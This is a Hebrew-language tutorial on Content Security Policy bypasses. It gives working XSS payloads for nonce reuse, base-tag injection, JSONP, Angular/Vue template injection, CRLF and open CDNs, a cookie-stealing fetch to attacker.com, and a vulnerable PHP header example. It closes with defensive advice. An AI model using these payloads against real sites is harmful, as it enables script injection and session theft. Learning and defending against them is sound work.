לדלג לתוכן

עקיפת CSP - CSP Bypass

סקירת Content Security Policy

מדיניות אבטחת תוכן (CSP) היא מנגנון הגנה בדפדפן שמגביל את המשאבים שדף אינטרנט יכול לטעון ולהריץ. המטרה העיקרית היא למנוע התקפות XSS על ידי הגבלת מקורות הסקריפטים המותרים.

הheader CSP נשלחת כ-HTTP Header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

הנחיות עיקריות - Directives

הנחיה תפקיד
default-src ברירת מחדל לכל סוגי המשאבים
script-src מקורות מותרים לסקריפטים
style-src מקורות מותרים לסגנונות CSS
img-src מקורות מותרים לתמונות
connect-src מקורות מותרים לחיבורים (XHR, fetch, WebSocket)
frame-src מקורות מותרים ל-iframes
font-src מקורות מותרים לגופנים
object-src מקורות מותרים ל-object, embed, applet
base-uri מגביל את ערכי תגית base
form-action מגביל את היעדים של טפסים

דיווח CSP - Reporting

ניתן להגדיר CSP במצב דיווח בלבד כדי לזהות הפרות בלי לחסום:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

הגרסה החדשה משתמשת ב-report-to:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"/csp-report"}]}

הדפדפן שולח דוח JSON עם פרטי ההפרה:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/malicious.js",
    "original-policy": "default-src 'self'; script-src 'self'"
  }
}

הBypass 1: שימוש חוזר ב-Nonce

כאשר CSP משתמש ב-nonce סטטי או צפוי, ניתן לנצל אותו:

Content-Security-Policy: script-src 'nonce-abc123'

אם השרת מגדיר nonce קבוע או שניתן לחזות אותו:

<!-- The legitimate script -->
<script nonce="abc123">
  console.log("legitimate");
</script>

<!-- Attacker's injection with the same nonce -->
<script nonce="abc123">
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

מצב נוסף - כאשר ה-nonce נחשף בתגובת השרת ואפשר לקרוא אותו דרך injection:

// If we have an injection point that allows reading the DOM
let nonce = document.querySelector('script[nonce]').nonce;
let s = document.createElement('script');
s.nonce = nonce;
s.textContent = 'alert(document.domain)';
document.body.appendChild(s);

הBypass 2: חוסר base-uri - injection תגית base

כאשר ה-CSP לא מגביל את base-uri, ניתן להזריק תגית <base> שתשנה את הנתיב הבסיסי לטעינת סקריפטים יחסיים:

Content-Security-Policy: script-src 'self' 'nonce-random123'

שימו לב - אין הגבלה על base-uri. אם הדף טוען סקריפט יחסי:

<script src="/js/app.js"></script>

התוקף מזריק:

<base href="https://attacker.com/">

עכשיו הדפדפן יטען את הסקריפט מ-https://attacker.com/js/app.js - שרת התוקף.


הBypass 3: נקודות קצה JSONP על דומיינים מורשים

כאשר CSP מרשה דומיינים גדולים כמו Google, ניתן לנצל נקודות קצה JSONP:

Content-Security-Policy: script-src 'self' https://accounts.google.com

נקודות קצה JSONP מאפשרות שליטה בתוכן הסקריפט דרך פרמטר callback:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

דוגמאות נוספות לנקודות JSONP נפוצות:

<!-- Google -->
<script src="https://www.google.com/complete/search?client=chrome&q=xss&callback=alert(1)//"></script>

<!-- Various domains with JSONP -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>

הBypass 4: bypass דרך פריימוורקים - Angular/Vue/React

כאשר CDN של פריימוורק מורשה, ניתן לנצל template injection:

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com

הbypass עם AngularJS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>
  {{$eval.constructor('alert(document.domain)')()}}
</div>

הbypass עם גרסאות ישנות של Angular:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
<div ng-app>
  {{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//')}}
</div>

Vue.js template injection:

<div id="app">{{constructor.constructor('alert(1)')()}}</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>new Vue({el:'#app'})</script>

הBypass 5: exploit unsafe-eval

כאשר script-src כולל 'unsafe-eval':

Content-Security-Policy: script-src 'self' 'unsafe-eval'

ניתן להשתמש בכל פונקציה שמבצעת eval:

// direct eval
eval('alert(document.domain)');

// via Function constructor
new Function('alert(document.domain)')();

// via setTimeout/setInterval with a string
setTimeout('alert(document.domain)', 0);
setInterval('alert(document.domain)', 1000);

// via import()
import('data:text/javascript,alert(document.domain)');

הBypass 6: bypass strict-dynamic

strict-dynamic מאפשר לסקריפט מאושר (עם nonce) לטעון סקריפטים נוספים:

Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic'

אם יש injection בתוך סקריפט מאושר:

<script nonce="random123">
  // injection point
  let userInput = "'; let s=document.createElement('script'); s.src='https://attacker.com/evil.js'; document.body.appendChild(s); //";
</script>

הbypass נוספת - exploit script elements שכבר קיימים בדף:

// if there is an injection that allows controlling the src of a dynamically loaded script
document.querySelector('#dynamic-loader').src = 'https://attacker.com/evil.js';

טכניקת ה-base-uri פועלת גם כאן כי strict-dynamic לא מגן על base-uri:

<base href="https://attacker.com/">
<!-- Scripts loaded dynamically with a relative path will come from the attacker -->

הBypass 7: injection מדיניות דרך CRLF או פרמטרים

כאשר ניתן להזריק תווי CRLF לתוך header HTTP:

GET /page?lang=en%0d%0aContent-Security-Policy:%20script-src%20'unsafe-inline' HTTP/1.1

זה יכול ליצור header CSP חדשה שתדרוס את הקיימת. הinjection פרמטרים למדיניות:

https://example.com/page?csp=script-src%20'unsafe-inline'

אם השרת מכניס פרמטרים לתוך CSP:

// vulnerable server code
header("Content-Security-Policy: script-src " . $_GET['domain']);

הinjection:

?domain='unsafe-inline'%3Bscript-src%20

הBypass 8: אחסון סקריפטים על CDN מורשה

כאשר CDN שלם מורשה:

Content-Security-Policy: script-src https://cdn.jsdelivr.net

התוקף מעלה קובץ זדוני לשירות שמתארח על אותו CDN:

<!-- jsdelivr allows loading files directly from GitHub/npm -->
<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/evil.js"></script>

דוגמה נוספת עם unpkg:

Content-Security-Policy: script-src https://unpkg.com
<script src="https://unpkg.com/attacker-package@1.0.0/evil.js"></script>

הBypass 9: שימוש באלמנטים SVG להרצת סקריפטים

אלמנטי SVG יכולים להכיל סקריפטים:

<svg onload="alert(document.domain)">

הbypass מתקדמת יותר עם SVG ו-use:

<svg>
  <use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'><a xlink:href='javascript:alert(1)'><rect width='100' height='100'/></a></svg>#x">
  </use>
</svg>

שימוש ב-animate לביצוע JavaScript:

<svg>
  <animate onbegin="alert(document.domain)" attributeName="x" dur="1s">
  </animate>
</svg>

SVG עם foreignObject:

<svg>
  <foreignObject width="100" height="100">
    <iframe srcdoc="<script>alert(1)</script>">
    </iframe>
  </foreignObject>
</svg>

הBypass 10: שימוש ב-Object ו-Embed

כאשר object-src לא מוגבל:

Content-Security-Policy: script-src 'self'

שימו לב - default-src לא מוגדר ו-object-src לא מוגבל:

<object data="data:text/html,<script>alert(document.domain)</script>" type="text/html"></object>

<embed src="data:text/html,<script>alert(document.domain)</script>" type="text/html">

הexploit Flash (בדפדפנים ישנים):

<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

כלי CSP Evaluator

כלי של Google לבדיקת חוזק מדיניות CSP:

https://csp-evaluator.withgoogle.com/

שימוש בכלי מבוסס שורת פקודה:

# Check the CSP of a site
curl -sI https://example.com | grep -i content-security-policy

# Analyze CSP
python3 -c "
csp = \"default-src 'self'; script-src 'self' https://cdn.jsdelivr.net 'unsafe-eval'\"
directives = csp.split(';')
for d in directives:
    d = d.strip()
    print(f'[*] {d}')
    if 'unsafe-eval' in d:
        print('    [!] DANGEROUS: unsafe-eval allows code execution')
    if 'unsafe-inline' in d:
        print('    [!] DANGEROUS: unsafe-inline allows inline scripts')
    if '*' in d:
        print('    [!] DANGEROUS: wildcard allows any source')
"

טבלת bypasses מרוכזת

מדיניות חולשה הbypass
script-src 'nonce-static' nonce קבוע שימוש חוזר ב-nonce
ללא base-uri אין הגבלה על base הinjection <base href>
script-src *.google.com JSONP קריאה ל-JSONP עם callback זדוני
script-src cdn.jsdelivr.net CDN פתוח העלאת סקריפט זדוני ל-CDN
script-src 'unsafe-eval' eval מותר eval(), Function(), setTimeout()
script-src 'strict-dynamic' אמון מדורג יצירת script מתוך סקריפט מאושר
ללא object-src plugins <object> או <embed> עם data URI
CSP דרך HTTP CRLF injection הinjection header CSP חדשה

הגנה - CSP מחוזק

מדיניות CSP מחמירה ומומלצת:

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  style-src 'nonce-{RANDOM}';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  report-to csp-endpoint

עקרונות להגנה חזקה:

  • שימוש ב-nonce חד-פעמי ואקראי לכל בקשה
  • הימנעות מ-unsafe-inline ו-unsafe-eval
  • הגבלת base-uri ל-'none' או 'self'
  • הגבלת object-src ל-'none'
  • צמצום מקסימלי של דומיינים מורשים
  • הפעלת דיווח כדי לזהות ניסיונות bypass
  • בדיקה תקופתית עם CSP Evaluator

סיכום

הbypass CSP היא אחד התחומים המרכזיים בתקיפות צד לקוח מתקדמות. הבנת המנגנון לעומק מאפשרת לזהות חולשות במדיניות ולנצל אותן. CSP חזק דורש תשומת לב לכל ההנחיות, לא רק ל-script-src. ככל שהמדיניות יותר מצמצמת ומדויקת, כך היא קשה יותר לbypass.